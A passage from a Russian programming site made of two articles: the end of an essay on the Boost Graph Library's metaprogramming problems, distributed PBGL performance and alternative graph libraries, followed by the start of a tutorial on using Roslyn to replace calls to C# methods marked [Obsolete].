* В общем порядке здесь нельзя не повторить банальное, но не становящееся от этого менее верным замечание, что метапрограммирование в C++ до сих пор основывается в буквальном смысле слова на побочных эффектах языковых средств, исходное предназначение которых было иным, и даже самые простые идеи на сложившемся в результате метаязыке трудно и выражать и считывать, а привязка шаблонного кода к архаичной системе включаемых файлов не облегчает жизнь разработчика и не уменьшает объем обрабатываемого компилятором кода.
(С другой стороны, регулярно происходящие обновления boost и std приносят множество не вполне тривиальных и зачастую чрезвычайно полезных конструкций и неожиданных решений, действительно позволяющих с меньшими затратами писать более ясный и компактный код. Однако поток новинок настолько широк, неравноценен и слабо структурирован, что важнейшие дополнения к стандартной библиотеке, даже такие очевидные, как затронутые ниже variants/apply\_visitor или any, если концептуальные преимущества их применения в контексте конкретного проекта не относятся к разряду самоочевидных, без помощи счастливого случая могут подолгу выпадать из фокуса внимания, если не тратить существенную долю рабочего времени непосредственно на вдумчивое отслеживание новинок, изучение нетривиальных примеров их использования и мысленные попытки приложить их к уже существующему коду. Видимо, при имеющейся интенсивности обновлений единственный способ управиться с этой проблематикой – держать на каждый пяток практикующих программистов C++ одного C++-теоретика, занятого только вопросами приоритетности новинок, их внедрения в проект и выборочного просвещения практиков. Вывод: ~~не начинайте C++-проекты с меньшим числом разработчиков~~).
* Наконец, объективно самая серьезная проблема, [возникающая при работе с шаблонным кодом BGL](#P3). Предположим, что используется некий шаблонный алгоритм, осуществляющий проход по графу и принимающий представление графа G в качестве аргумента. В типичном случае это представление зависит от наложенных на вершины и ребра фильтров ,  и весовой схемы . Для работы с фильтрованными графами BGL предлагает уже упоминавшийся выше шаблонный класс filtered\_graph, способ присоединения к которому весовой схемы остается на усмотрение пользователя. Функторы, представляющие ,  и , могут включать как минимум следующие представления:
+ Непосредственно обертку функции, представляющей весовую схему, и предикатов, представляющих фильтры (медленно, без потерь на инициализацию);
+ Кэши над этими обертками, отображающие дескрипторы ребер/узлов на индексы ребер/узлов, адресующие битовый массив и массив значений (без потерь на инициализацию, с постепенным повышением скорости по мере использования);
+ Прямое отображение дескрипторов узлов/ребер на заполненные массивы значений (требует инициализации, но может быть построено на основании предыдущего представления; скорость достигает максимума).
Таким образом, если бы данный алгоритм писался в традиционном стиле, в его теле появилось бы три селектора с минимум тремя ветками в каждом (и необходимостью корректировать тело при появлении новых представлений). Так как каждое ветвление в теле алгоритма, отрабатывающем при проходе по графу огромное число раз, выливается в заметные потери времени, стремление избежать этих потерь при сохранении кода все того же традиционного стиля может привести к появлению 27+ реализаций алгоритма для различных комбинаций представлений.
Метапрограммный стиль должен спасать от этих неприятностей, позволяя поддерживать одну описывающую алгоритм метафункцию, неявно генерирующую все нужные реализации (а также, возможно, некоторое, и возможно немалое, количество ненужных, если runtime-структуры кода де-факто не генерируют некоторых сочетаний типов, [что при комбинаторном взрыве вариантов может стать проблемой](#P4)), не содержащие обременения в виде дополнительных внутренних ветвлений.
Работоспособность этой системы, как известно, сильнейшим образом зависит от способностей компилятора к глубокой подстановке inline-функций и упразднению избыточных переменных, которые в полной мере раскрываются только при компиляции с ключом –O2. Без использования полной оптимизации метакод сильнейшим образом проигрывает традиционному коду из-за драматического роста числа вызовов функций (характерное соотношение по скорости между оптимизированной и неоптимизированной сборками колеблется в таких случаях между 1:3 и 1:5, что зачастую приводит к необходимости отлаживаться непосредственно по оптимизированной сборке – [а это удовольствие, понятное дело, на любителя](#P5)).
При выполнении алгоритма использование каждой из версий функторов имеет определенную цену, которая легко поддается замеру. При этом использование самой быстрой версии по существу должно быть эквивалентно прямому обращению к массиву. Предположим, мы сравниваем традиционную (жестко типизированную) реализацию алгоритма с метапрограммной реализацией, получающей на вход соответствующий набор «быстрых» и «медленных» версий функторов. Исходя из вышесказанного, время работы не должно испытать существенных изменений. На практике же система демонстрирует странную эластичность: если время работы «традиционной» реализации действительно хорошо оценивается сложением «стоимостей» использованных функторов, то время выполнения метакода изменяется незначительно при представлении одного или даже двух функторов из трех их «быстрыми» версиями, и только при полной замене всех составляющих время скачком изменяется и действительно оказывается сопоставимым с временем «традиционной» реализации.
Не лишним будет отметить, что профилятор в такой ситуации оказывается более чем бесполезен: он вводит в заблуждение, стимулируя на 100% бесполезную оптимизацию случайных пользовательских функций из числа часто вызываемых, хотя задержки явно происходят не в них, а в «невидимом» соединительном коде. (Решение же, исходя из изложенного выше, должно состоять скорее в какой-то специальной, в угоду компилятору, декомпозиции исходной шаблонной функции, что, вне зависимости от успеха подобных манипуляций, является дикостью).
* Для шаблонного кода такого сорта характерно наличие входного слоя, предшествующего собственно вычислениям, в котором осуществляется выбор типов, наилучшим образом соответствующих параметрам вызова. На этом месте в C++ до сих пор, по-видимому, присутствует зазор, который не вредно было бы засыпать несколькими килограммами синтаксического сахара.
Бесхитростно написанный код, соответствующий этому случаю, выглядит примерно следующим образом:
```
void type_selector_fun(type_a a, type_b b, ...)
{
if (condition_1(a, b, ...))
{
auto arg = get_type_1_obj(a, b, ...);
run_calc(arg, a, b, ...);
}
else if (condition_1(a, b, ...))
{
auto arg = get_type_2_obj(a, b, ...);
run_calc(arg, a, b, ...);
}
else ...
}
```
Его можно переписать несколько компактней с использованием variant<...> примерно в следующем виде:
```
void type_selector_fun(type_a a, type_b b, ...)
{
variant arg;
if (condition\_1(a, b, ...))
{
arg = get\_type\_1\_obj(a, b, ...);
}
else if ...
...
apply\_visitor([&](auto arg\_){run\_calc(arg\_, a, b, ...); }, arg);
}
```
Недостатком этой формы записи является необходимость явного перечисления типов type\_1, type\_2, … в декларации variant. Типы эти могут быть громоздкими, не менее громоздкой может быть и запись с использованием declval/result\_of\_t.
При использовании any нет необходимости перечислять типы, но нет и возможности получить аналог apply\_visitor.
Напрашивается использование некой шаблонной функции make\_variant, позволяющей писать код примерно следующего вида:
```
auto arg = make_variant
(
bind(condition_1, a, b, ...), bind(get_type_1_obj, a, b, ...),
bind(condition_2, a, b, ...), bind(get_type_2_obj, a, b, ...),
...
);
```
, но лекарство выглядит не лучше болезни.
В общем, налицо типичная для метапрограммирования на C++ ситуация, когда для выражения очень простой идеи приходится использовать целый арсенал вспомогательных средств с не очень удовлетворительным в смысле читаемости и легкости записи результатом. По существу здесь хотелось бы иметь возможность писать примерно следующее:
```
// Автоматический выбор variant<...> для возвращаемого значения в зависимости
// от типов, использованных при возвратах: type_1, type_2 etc.
variant get\_type\_obj(typa\_a a, type\_b b, ...)
{
if (condition\_1(a, b, ...))
{
return get\_type\_1\_obj(a, b, ...);
}
else if (condition\_2(a, b, ...))
{
return get\_type\_2\_obj(a, b, ...);
}
else ...
}
```
или даже:
```
select_value_type(arg)
{
if (condition_1(a, b, ...))
{
arg = get_type_1_obj(a, b, ...);
}
else ...
...
}
run_calc(arg, a, b, …);
```
Последний вариант, хотя он вовсе выбивается из стиля C++, выглядит наиболее практичным, так как переменных arg, для которых подбирается тип, может быть больше одной, и [предвосхищать логику их построения нет оснований](#P6).
* Обратная сторона этой же ситуации – использование вспомогательных структур (например, кэширующих), реализующих сценарий, заслуживащий названия «шаблонной переменной», но отличающийся от одноименного расширения стандарта С++14.
Соответствующий код может иметь примерно следующий вид:
```
struct CacheHolder
{
boost::variant<
container,
container,
// ...
container> ct;
template
struct result\_type\_selector
{
typedef typename if\_c::value, T1,
if\_c::value, T2,
// ...
if\_c::value, TN,
std::decay\_t>>>::type type;
};
template
auto get() const -> const container::type>&
{
return boost::get::type>>(ct);
}
};
```
Здесь, как и выше, длинные конструкции выражают простую идею обращения к представляющей кэш переменной по определенному имени, вне зависимости от размерности кэшируемого значения (прозрачно проходящего через вызывающий код).
Для краткости код приведен для случая, когда активным может быть только один тип, однако на практике чаще встречается ситуация, когда несколько контейнеров может существовать одновременно (она может быть легко реализована в том же стиле с использованием tuple и optional).
Реализация функции get<...> предполагает, что вызывающий код имеет некоторое представление о том, к какой разновидности кэшируемого значения он хочет обратиться (например, к целочисленному или с плавающей запятой).
Не менее распространенной является ситуация, когда точное значение типа вызывающей стороне безразлично. В этом случае воспроизводится сценарий select\_value\_type/apply\_visitor из предыдущего пункта (с поправкой на возможную множественность значений, предполагающую просмотр типов по убыванию приоритета).
* До сих пор в данном тексте практически отсутствовали упоминания PBGL. Это объясняется исчезающе малым опытом работы с этой частью библиотеки у автора (в связи с чем автор и сам относится с известным скепсисом ко всему, что написано ниже в этом абзаце, и других к тому же призывает). Фактически такой опыт сводится к нескольким экспериментам, на однотипных поисковых задачах продемонстрировавшим на практических данных проигрыш распределенной версии локальному решению по памяти в 3-5 раз и по общей производительности в 15-20 раз (происхождение этой пугающей цифры [поясняется здесь](#P6X1) и дополнительно комментируется следующими абзацами). С учетом большей сложности работы с распределенными структурами выбор в пользу локальной версии был в такой ситуации самоочевиден.
Поясним механику работы PBGL на характерном примере алгоритма дельта-шагания. В этой параллельной версии алгоритма Дейкстры очередь с приоритетами заменяется на массив «ведерок». Элементы, попавшие в одно «ведерко», обрабатываются параллельно. В своей оригинальной форме дельта-шагание является типичным алгоритмом для систем с общей памятью.
В распределенной же версии происходит следующее: в PBGL при загрузке граф разбрасывается между процессами, причем каждому процессу соответствует непрерывный диапазон номеров вершин. Таким образом, по глобальному номеру вершины легко узнать, какому процессу она принадлежит. Соответственно, каждый поцесс на каждом ходу алгоритма хранит часть «ведерка», содержащую принадлежащие этому процессу вершины. Все процессы одновременно выбирают и обрабатывают вершины из своих частей «ведерок» по одной, при этом рассылают сообщения о необходимости обновления следующих «ведерок» процессам, владеющим соседними вершинами. Легко видеть, что при прочих равных увеличение числа процессов ведет к увеличению количества рассылаемых ими сообщений. В результате время выполнения алгоритма может не только не уменьшаться, но даже возрастать. В частности, запуск нескольких MPI-процессов для решения этой задачи на одной физической машине с некоторой вероятностью приведет только к увеличению общей загрузки процессора без какого-либо выигрыша по времени.
Нужно отметить, что дельта-шагание является самым быстрым распределенным алгоритмом поиска (из трех, поддерживаемых библиотекой).
Таким образом, если граф предварительно не подготовлен, разбивать его следует на блоки максимального размера, по одному блоку на одну физическую машину. Под предварительной же подготовкой здесь подразумевается такая перенумерация вершин графа, чтобы непрерывные диапазоны номеров, которые использует PBGL, по возможности соответствовали слабо связанным подграфам. Для этих целей применяются такие пакеты, как METIS, paraMETIS и Zoltan. [Работа с динамическими графами в таком режиме затруднена.](#P7)
В целом по результатам описанных опытов у автора сложилось впечатление, что нормальная работа кластера PBGL возможна только при наличии специального коммуникационного оборудования, а в качестве узлов такого кластера имеет смысл использовать машины с минимальным числом ядер и максимальной производительностью на нить. Авторы [Trinity](https://github.com/Microsoft/GraphEngine.git) в своей статье утверждают, что их распределенное хранилище работает гораздо эффективней – прокомментировать это утверждение автор затрудняется, но, с учетом изложенных обстоятельств, находит это вполне возможным: архитектура PBGL несет отчетливую печать времени, когда многоядерные машины еще не получили массового распространения.
Также PBGL разделяет проблемы однопоточной версии: некоторую рассинхронизированность кода, документации и примеров, усугубляющиеся в связи с большей сложностью системы и меньшим числом пользователей, готовых поделиться полезным опытом.
### BGL и другие звери
Принимая во внимание достаточно длинный список специфических жалоб, не будет неуместным поинтересоваться: может ли автор в 2019 году порекомендовать BGL для новых проектов. Ответ будет таким: автор полагает, что у библиотек такого стиля и приложений на их основе [обязано быть будущее](#P8). Что до выбора опорной библиотеки для конкретного проекта, то над инструментовкой стоит серьезно поразмыслить, не упуская из вида перечисленных выше проблем. Ответ, очевидно, зависит от многих обстоятельств, включающих, но не ограничивающихся перечисленным в следующих пунктах:
* Является ли работа с графами в проекте основой функциональности или факультативной задачей;
* Может ли проект получить преимущество за счет использования множественных представлений или вполне достаточной для него будет работа с жестко типизированными алгоритмами;
* Наиболее выгодный для проекта тип параллелизма;
* Организационные нюансы: охота к метапрограммированию на C++ у сотрудников (особенно программистов-математиков) и т. п.
Вероятно, при прочих равных использование BGL может быть оправданным либо в случае совсем малого разового применения (вымучать или скопировать работающий фрагмент кода и забыть), либо для большой системы, для которой повышенная гибкость со временем окупит тяжелое вхождение и прочие издержки. В других случаях имеет смысл тщательно изучить иные варианты.
Что до возможных альтернатив, то их список включает в себя как минимум [следующие пункты](#P9):
| | |
| --- | --- |
| Название | LEMON |
| Тип библиотеки | C++, шаблонная заголовочная |
| URL | [lemon.cs.elte.hu](https://lemon.cs.elte.hu) |
| Распределенная | нет |
| Многопоточная | нет |
| ОС | any |
| Последняя версия | 2014
Распространяется архивом |
| [Число упоминаний на stackoverflow](#P10) | ~100 (36 в разделе [lemon-graph-library]) |
| Комментарий | По некоторым сообщениям, [в однопоточном режиме существенно превосходит BGL по скорости](https://blog.sommer-forst.de/2016/10/28/solving-the-shortest-path-problem-5-benchmarks/).
Отношение авторов к многопоточности [явствует из следующего диалога](http://lemon.cs.elte.hu/pipermail/lemon-user/2010-September/000266.html). С учетом изложенного выше в разделе о PBGL данная позиция представляется сомнительной. |
| | |
| --- | --- |
| Название | SNAP |
| Тип библиотеки | C++ |
| URL | [github.com/snap-stanford/snap.git](https://github.com/snap-stanford/snap.git) |
| Распределенная | нет |
| Многопоточная | да (часть методов) |
| ОС | Linux, Mac, Cygwin |
| Последняя версия | 2018
Репозиторий активно обновляется |
| Число упоминаний на stackoverflow | < 50 |
| Комментарий | Одна из крупнейших (более 10 Мб кода) библиотек сетевого анализа (Network Ananlysis), активно развивающаяся уже многие годы. Странным образом сравнительно обойдена массовым вниманием.
См. [описание идеологии системы](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5361061/pdf/nihms823738.pdf). Отношение к реализации параллельных методов, высказанное на стр. 12, близко автору этой статьи. В условиях эксплуатации типичного современного машинного парка оно является наиболее естественным. Смена парадигмы пришлась на условный 2011 год, к которому относится приведенная выше декларация LEMON. |
| | |
| --- | --- |
| Название | MTGL |
| Тип библиотеки | C++, шаблонная заголовочная |
| URL | [software.sandia.gov/svn/public/mtgl/trunk](https://software.sandia.gov/svn/public/mtgl/trunk) |
| Распределенная | ? |
| Многопоточная | да |
| ОС | [any](http://www.cs.sandia.gov/~jberry/) |
| Последняя версия | ? |
| Число упоминаний на stackoverflow | 3 |
| Комментарий | Загадочный член собрания. Библиотека активно развивалась в промежутке между 2005 и 2012 годами. Исходники залиты в 2017 году. Статус неясен, упоминание о проекте с сайта Sandia удалено. Идеологически инспирировано той же BGL, но код полностью независим. Общий объем исходников (включая многочисленные тесты и примеры) достигает 17 Мб. Код выглядит хорошо проработанным. См. [описание](https://cfwebprod.sandia.gov/cfdocs/CompResearch/docs/MTGL.pdf). |
| | |
| --- | --- |
| Название | igraph |
| Тип библиотеки | C |
| URL | [github.com/igraph/igraph.git](https://github.com/igraph/igraph.git) |
| Распределенная | нет |
| Многопоточная | нет |
| ОС | any? |
| Последняя версия | 2014
Репозиторий активно обновлятся |
| Число упоминаний на stackoverflow | Порядка 100 в разделах [igraph] [c++] и [igraph] [c], а всего более 500 (для всех языков) |
| Комментарий | Еще одна библиотека сетевого анализа, по всей видимости, весьма популярная (в основном у питонистов и т.д.). Описание [здесь](https://igraph.org/c/doc/igraph-docs.pdf). |
| | |
| --- | --- |
| Название | graph-tool |
| Тип библиотеки | C++ python lib |
| URL | [git.skewed.de/count0/graph-tool.git](https://git.skewed.de/count0/graph-tool.git) |
| Распределенная | нет |
| Многопоточная | да |
| ОС | Судя по использованию autoconf — \*nix only, но вероятна несложная адаптация под другие системы |
| Последняя версия | 2019 |
| Число упоминаний на stackoverflow | < 20 |
| Комментарий | Еще одна активно развивающаяся библиотека сетевого анализа с длинной историей коммитов, непосредственно использующая BGL (в локальной исправленной версии).
См. [Таблицу со сравнением производительности.](https://graph-tool.skewed.de/performance) |
| | |
| --- | --- |
| Название | LEDA |
| Тип библиотеки | C++ |
| URL | [www.algorithmic-solutions.com/index.php/products/leda-for-c](https://www.algorithmic-solutions.com/index.php/products/leda-for-c) |
| Распределенная | нет |
| Многопоточная | ? |
| ОС | any |
| Последняя версия | ? |
| Число упоминаний на stackoverflow | ~10 |
| Комментарий | Коммерческая лицензия. Большая (и, можно сказать, старинная) библиотека для научных и технологических вычислений, включающая графовый раздел. По всей видимости, опирается на собственную инфраструктуру, а не на stl/boost, и в этом смысле является архаичной. |
Определенный общий интерес представляет также вопрос о классификации различных программных продуктов, ориентированных на работу с графами. Их разнообразие, не говоря о числе, весьма велики. Нимало не претендуя на завершенность (и даже формальную корректность) классификации, можно попытаться, тем не менее, выделить следующие важные направления в разработке графовых приложений:
1. Графовые СУБД (neo4j и др.).
Системы такого рода ориентированы на выполнение транзактных операций над большими (распределенными дисковыми) графами. Хотя API такой системы может быть в высшей степени развитым, скорость выполнения собственно графовых алгоритмов, насколько можно судить, не является первым приоритетом. Система может даже не пытаться загружать граф целиком в память. Для модификации и обхода графа поддерживаются декларативные языки (SPARQL, Cypher, Gremlin). Большое значение придается обеспечению преемственности с традиционными SQL-системами.
2. Графовые расширения систем обработки больших данных, работающих в парадигме map/reduce (GraphX в Spark, Pegasus и Giraph для Hadoop) и независимые кластерные системы ([MS Trinity/MS Graph Engine](https://github.com/Microsoft/GraphEngine.git), GraphLab). Первые для выполнения операций над графом реализуют модель [Google Pregel](https://kowshik.github.io/JPregel/pregel_paper.pdf) (но не только ее) и могут конфигурироваться для использования в том числе массивно-параллельных вычислительных узлов. И те, и другие могут в числе прочего использоваться в качестве основы для корпоративных программных проектов.
Хотя API таких систем может быть достаточно развитым (помимо прочего, GraphX поддерживает SPARQL и Cypher), основной упор при работе с ними приходится на решение инфраструктурных проблем. Для GraphX характерны иммутабельность данных и уклон в конвейеризацию всех операций. MS Trinity на данный момент не включает высокоуровневых методов и предоставляет только набор примитивов для работы с узлами и ребрами. Системы, работающие поверх Hadoop, в принципе малоприспособлены для решения произвольных графовых задач.
3. Собственно универсальные инструментальные библиотеки, реализующие более или менее широкие наборы методов (BGL/PBGL, LEMON etc.), в том числе массивно-параллельные (nvGraph, Gunrock).
На их основе могут создаваться прикладные системы, адаптирующие графовые алгоритмы к конкретным предметным областям.
4. Системы и библиотеки, специализирующиеся на отдельных сложных задачах, имеющих универсальное значение (METIS, paraMETIS, Zoltran: graph partitioning, GraphViz, Gephi: визуализация, GraphBLAS: алгебраические алгоритмы для работы с графами и т. п.).
К этой же категории можно условно отнести множество независимых графовых приложений, детальный анализ которого потребовал бы слишком большого времени. Последнее содержит приложения всех мыслимых разновидностей: академические и коммерческие, однопользовательские и многопользовательские, недавно появившиеся и существующие уже более десятилетия и т. д.
Неясная, но значительная часть графовых приложений ориентированы на задачи Network Analysis и, уже, Social Network Analysis (Community Detection). Как ни странно, существенно меньше распространены системы Link Analysis (использующиеся, как правило, различными «борцами с преступностью»), имеющие определенное сходство с разрабатываемой нами системой. Во всех случаях без специальной проверки трудным оказывается выяснить характер используемых различными системами моделей данных и сопутствующие ограничения по производительности, поддерживаемым объемам, наборам операций и т.п.
### Примечания
1. BGL не является чисто-заголовочной библиотекой, но на данный момент единственная функциональность, требующая линковки – это (довольно факультативная) работа с DOT-файлами формата GraphViz. Поэтому в подавляющем большинстве случаев в связывании не возникает необходимости и автоматического связывания с надлежащей версией libbost-graph по включению заголовков BGL в конфигурации Boost не предусмотрено. Таким образом, для согласования с библиотекой libboost-regex, используемой незаголовочными функциями BGL, удобно бывает просто подключить заголовок boost\regex.hpp из кода проекта, даже если последний не использует регулярных выражений.
2. Дополнительный хаос вносит наличие сущностей, видимая эквивалентность которых [подталкивает к охоте на (возможно отсутствующих) черных кошек в темных комнатах](http://boost.2283326.n4.nabble.com/Chrono-Is-there-any-functions-that-convert-Chrono-s-time-point-and-duration-to-their-Ptime-equivalen-td4311207.html).
3. Прежде чем перейти к ее описанию (на конкретном примере, где она проявилась особенно сильно и неприятно), отметим, что автор относится к числу сравнительно немногочисленных счастливчиков, работающих с нагруженным проектом в мощной операционной системе Windows и богоспасаемой линейке компиляторов MSVC. Не исключено, что описываемые ниже неприятности являются артефактами этой линейки компиляторов: разнообразные частные обстоятельства затрудняют проведение сравнительного опыта с gcc/clang в среде \*nix. Если это так, можно только поздравить пользователей других компиляторов.
4. Смягчить которую в каких-то случаях наверняка поможет недавно появившийся constexpr if.
5. В нашем случае это привело к особенному вниманию к функции сохранения состояния, которая позволяет отлаживаться с удобствами, предварительно выводя систему в нужное исходное состояние в оптимизированной сборке.
6. В моей практике неоднократно по разным поводам возникала необходимость преобразовывать runtime-параметры в аргументы шаблона, и нередко при этом приходилось обращаться к, аккуратно выражаясь, весьма вычурным способам (вдохновляясь ныне утратившими актуальность реализациями boost typeof и boost lambda для C++98, прямо подбивавшими относиться к технике программирования на C++ как к решению ребуса), среди которых [звездой сияет подбор аргумента делением пополам](https://rextester.com/NQZ38860), но, в целом, основные проблемы при таких операциях были всегда связаны с невозможностью экспорта подобранного типа за пределы области видимости, что и порождало экзотические схемы.
7. Обозначенный выше двадцатикратный проигрыш по скорости (в абсолютных цифрах — примерно 80 секунд против 4 на тестовом направленном графе с 50 миллионами вершин и 200 миллионами ребер, представленном в виде списка смежности) был получен на неподготовленном (разбитом случайным образом) графе при сравнении с локальной версией дельта-шагания на восьмиядерной машине. Соответственно, в сравнении с однопоточной реализацией алгоритма Дейкстры проигрыш распределенной версии будет в такой ситуации примерно двухкратным. Здесь нужно дополнительно отметить, что 6-8 потоков для графов такой плотности — это максимальное количество, до которого еще наблюдается практически линейный рост производительности.
8. В теории на этот случай имеются специальные методы, модифицирующие уже построенное разбиение вместо полного его пересчета. (Автор затрудняется сказать, как надлежит выбираться из закольцованной ситуации по-настоящему большого графа, который невозможно обработать на одной машине. На графе, разбросанном по серверам случайным образом, многие алгоритмы, включая сами алгоритмы разделения графа, окажутся неработоспособными, а пошаговый алгоритм локального улучшения разбиения будет, вероятно, работать неопределенно долго и сойдется неизвестно к чему).
9. В стародавние времена, когда деревья были большими, а аббревиатура ООП – новой и модной, автор однажды совершил серьезную ошибку, попытавшись использовать «объекты» для описания физических сущностей (слой-луч-граница и т.п.) в программе моделирования волновых полей. Выяснилось (это не анекдот, а печальная повесть), что единственная разновидность объекта, поведение которой «объект» действительно позволяет описать скрупулезно, не вставая на уши — это окно графического интерфейса (разработка которых тогда тоже была в большой моде и считалась чуть ли передним краем технологий). Мало сказать, что виртуальность, зависящая только от одного из участников, матушке-природе совершенно не присуща. Самым захватывающим, насколько сейчас можно вспомнить, было поведение наследования: «базовые» слои (жидкие или упругие изотропные) характеризовались коэффициентами, которые не дополнялись в «производных» (упругих анизотропных или пористых), а представляли собой некую свертку более общей системы коэффициентов, возникающей только в производном классе. При добавлении в систему новой уточняющей физической модели слоя ситуация воспроизводилась. Изменить направление наследования было невозможно как по соображениям производительности, так и из-за того, что начинать пришлось бы с «самой общей системы коэффициентов из всех возможных», а наука не знает такой гитики. Можно ли после этого обескураживающего опыта осмеливаться утверждать, что другая «многообещающая программная технология» обязательно сработает в новой области? Полагаю, что некоторую надежду в данном случае внушает то, что данная технология не пытается выдать себя за то, чем не является: метаязыки – это артефакт программных технологий, и, хотя при работе с ними возникают сложности, в том числе неожиданные, их место в процессе разработки четко определено и назначение самоочевидно.
10. Данная таблица является компиляцией. Автор не имеет существенного опыта работы с перечисленными библиотеками, не проводил сравнительных тестов самостоятельно, не гарантирует точности сообщаемых сведений и будет признателен за любые дополнения и исправления.
11. По запросам вида «LIBNAME C++ graph» или аналогичным, в зависимости от селективности наименования и наличия маркера раздела на stackoverflow. Для сравнения, у BGL несколько больше 500 упоминаний в разделе [boost-graph]. | https://habr.com/ru/post/471652/ | null | ru | null |
# Рефакторим вместе с Roslyn
Обычно рефакторинг представляется тяжелой работой над ошибками. Монотонное исправление ошибок прошлого вручную. Но если наши действия можно свести к алгоритму преобразований над A, чтобы получить B, то почему бы не автоматизировать этот процесс?
Таких кейсов может быть очень много — инверсия зависимостей (как пример архитектурных измений), добавление аттрибутов, внедрение аспектов (пример добавления сквозной функциональности) и разнообразные компоновки кода в классы и методы, а также переход к новой версии API — в этой статье рассмотрим этот случай подробно.
Все проекты используют API. API модулей, компонентов, фреймворков, операционной системы, публичные API сервисов — в большинстве случаев эти API представлены в виде интерфейсов. Но все вокруг меняется, меняются и API. Появляются новые версии, появляются obsolete методы. Было бы классно иметь возможность автоматически переходить на новую версию без накладных расходов на рефакторинг проекта.
Выбор инструмента
-----------------
Veeam предоставляет своим разработчикам все инструменты, которые сам разработчик посчитает необходимыми. И у меня есть лучшее, что может пригодиться для рефакторинга — ReSharper. Но…
В 2015 у ReSharper был [issue](https://youtrack.jetbrains.com/issue/RSRP-451569). В начале 2016 у issue RSRP-451569 сменился статус на Submitted. Также в 2016 запрос [обновили](https://www.jetbrains.com/help/resharper/Reference__Code_Annotation_Attributes.html#comment-2883911925).
Проверила на последнем обновлении — нужной функциональности нет, нет ни подсказок от решарпера, ни специального аттрибута в JetBrains.Annotations. Вместо того, чтобы ждать пока эта функциональность появится у ReSharper, я решила сделать эту задачу своими силами.
Первое что приходит в голову при работе над рефакторингом .NET кода — это IntelliSense. Но его API, на мой взгляд, довольно сложный и запутанный, к тому же сильно завязан на Visual Studio. Потом мне под руку попалась такая вещь как DTE (EnvDTE) — Development Tools Environment, по сути, это интерфейс ко всем возможностям студии, которые доступны через UI или командную строку, с его помощью можно автоматизировать любую последовательность действий, которую можно совершить в Visual Studio. Но DTE — штука неудобная, она постоянно требует контекст действия, т.е. эмулировать целого программиста. Тривиальные действия, вроде поиска определения метода, давались с трудом. В процессе преодоления трудностей работы с DTE, мне попалось видео доклада Александра Кугушева:
Доклад меня заинтересовал, я попробовала и поняла, что решать такого рода задачи с помощью Roslyn намного более естественно. А еще не забываем про полезный Syntax Visualizer, который поможет понять как устроен ваш код на уровне языка.
Так я выбрала своим инструментом .NET Compiler Platform "Roslyn".
Автоматизуем нашу задачу
------------------------
Рассмотрим эту задачу на искусственном примере. Пусть мы имеем интерфейс API с устаревшими методами, маркируем их аттрибутом `[Obsolete]` с указанием в сообщении, на какой метод его следует заменить
```
public interface IAppService
{
[Obsolete("Use DoSomethingNew")]
void DoSomething();
void DoSomethingNew();
[Obsolete("Use TestNew")]
void Test();
void TestNew();
}
```
и его неразмеченную аттрибутами реализацию
```
public class DoService : IAppService
{
public void DoSomething()
{
Console.WriteLine("This is obsolete method. Use DoSomethingNew.");
}
public void DoSomethingNew()
{
Console.WriteLine("Good.");
}
public void Test()
{
Console.WriteLine("This is obsolete method. Use TestNew.");
}
public void TestNew()
{
Console.WriteLine("Good.");
}
}
```
Пример использования нашего интерфейса, поскольку здесь мы обращаемся к IAppService, то получаем предупреждение компилятора, что метод устарел.
```
public class Test
{
public IAppService service
{
get;
set;
}
public Test()
{
service = new DoService();
service.DoSomething();
service.Test();
}
}
```
А здесь мы используем уже экземпляр реализации этого интерфейса и никакого предупреждения уже не получим.
```
class Program
{
static void Main(string[] args)
{
//no warning highlighted
var doService = new DoService();
doService.DoSomething();
//will be highlighted
//IAppService service = doService as IAppService;
//service.DoSomething();
doService.Test();
}
static void Test()
{
var doService = new DoService();
doService.DoSomething();
doService.Test();
}
}
```
**Исправляем ситуацию**
Использование Roslyn влечет за собой использование декларативного программирования и функционального подхода, а здесь главное задаться Главной Целью и тщательно ее описать. У нас Главная Цель — заменить все устаревшие методы на их новые аналоги. Описываем.
1. Замени устаревший метод на новый.
Как?
2. Найди пару устаревший-новый метод и замени устаревший метод на новый.
Где?
3. В классе интерфейса API найди пару устаревший-новый метод и замени устаревший метод на новый.
Как?
4. Найди определение метода, у которого есть атрибут `[Obsolete]` в классе интерфейса API и найди пару устаревший-новый метод и замени устаревший метод на новый.
Где взять новый?
5. В сообщении атрибута `[Obsolete]` найдешь имя нового метода для найденного определения метода, у которого есть атрибут `[Obsolete]` в классе интерфейса API, где найдешь пару устаревший-новый метод и замени устаревший метод на новый.
Где заменить?
6. По всем ссылкам на устаревший метод (хотя можешь сделать исключения для некоторых проектов и классов), в сообщении атрибута `[Obsolete]` которого найдешь имя нового метода для найденного определения метода, у которого есть атрибут `[Obsolete]` в классе интерфейса API, где найдешь пару устаревший-новый метод и замени устаревший метод на новый.
Алгоритм рефакторинга готов, за исключением отсутствия в нем технических моментов работы с тремя столпами .NET кода — Document, Syntax Tree, Semantic Model. Это всё сильно напоминает лямбды. В них мы и будем выражать нашу Главную Цель.
**Инфраструктура**
Инфраструктурой для нашего решения служат Document, Syntax Tree, Semantic Model.
```
public Project Project { get; set; }
public MSBuildWorkspace Workspace { get; set; }
public Solution Solution { get; set; }
public Refactorer(string solutionPath, string projectName)
{
// start Roslyn workspace
Workspace = MSBuildWorkspace.Create();
// open solution we want to analyze
Solution = Workspace.OpenSolutionAsync(solutionPath).Result;
// find target project
Project = Solution.Projects.FirstOrDefault(p => p.Name == projectName);
}
public void ReplaceObsoleteApiCalls(string interfaceClassName, string obsoleteMessagePattern)
{...}
```
недостающие данные возьмем извне, понадобится полный путь к солюшену, в котором лежит проект с API и проекты, в котором он используется — при небольшой доработке можно размещать их в разных солюшенах. А еще нужно указать имя класса интерфейса API, если ваш API будет построен на абстрактном классе или еще как-то, то посмотрите с помощью Syntax Visualizer какой тип определения этого класса.
```
var solutionPath = "..\Sample.sln";
var projectName = "ObsoleteApi";
var interfaceClassName = "IAppService";
var refactorererApi = new Refactorer(solutionPath, projectName);
refactorererApi.ReplaceObsoleteApiCalls(interfaceClassName, "Use ");
```
частные элементы инфраструктуры получим в `ReplaceObsoleteApiCalls`
```
var document = GetDocument(interfaceClassName);
var model = document.GetSemanticModelAsync().Result;
SyntaxNode root = document.GetSyntaxRootAsync().Result;
```
Возвращаемся к алгоритму и ответим на простые вопросы в нем, начинать нужно с конца.
*4. Найди определение метода, у которого есть атрибут `[Obsolete]` 3. В классе интерфейса API*
```
// direction from point 3
var targetInterfaceClass =
root.DescendantNodes().OfType()
.FirstOrDefault(c => c.Identifier.Text == interfaceClassName);
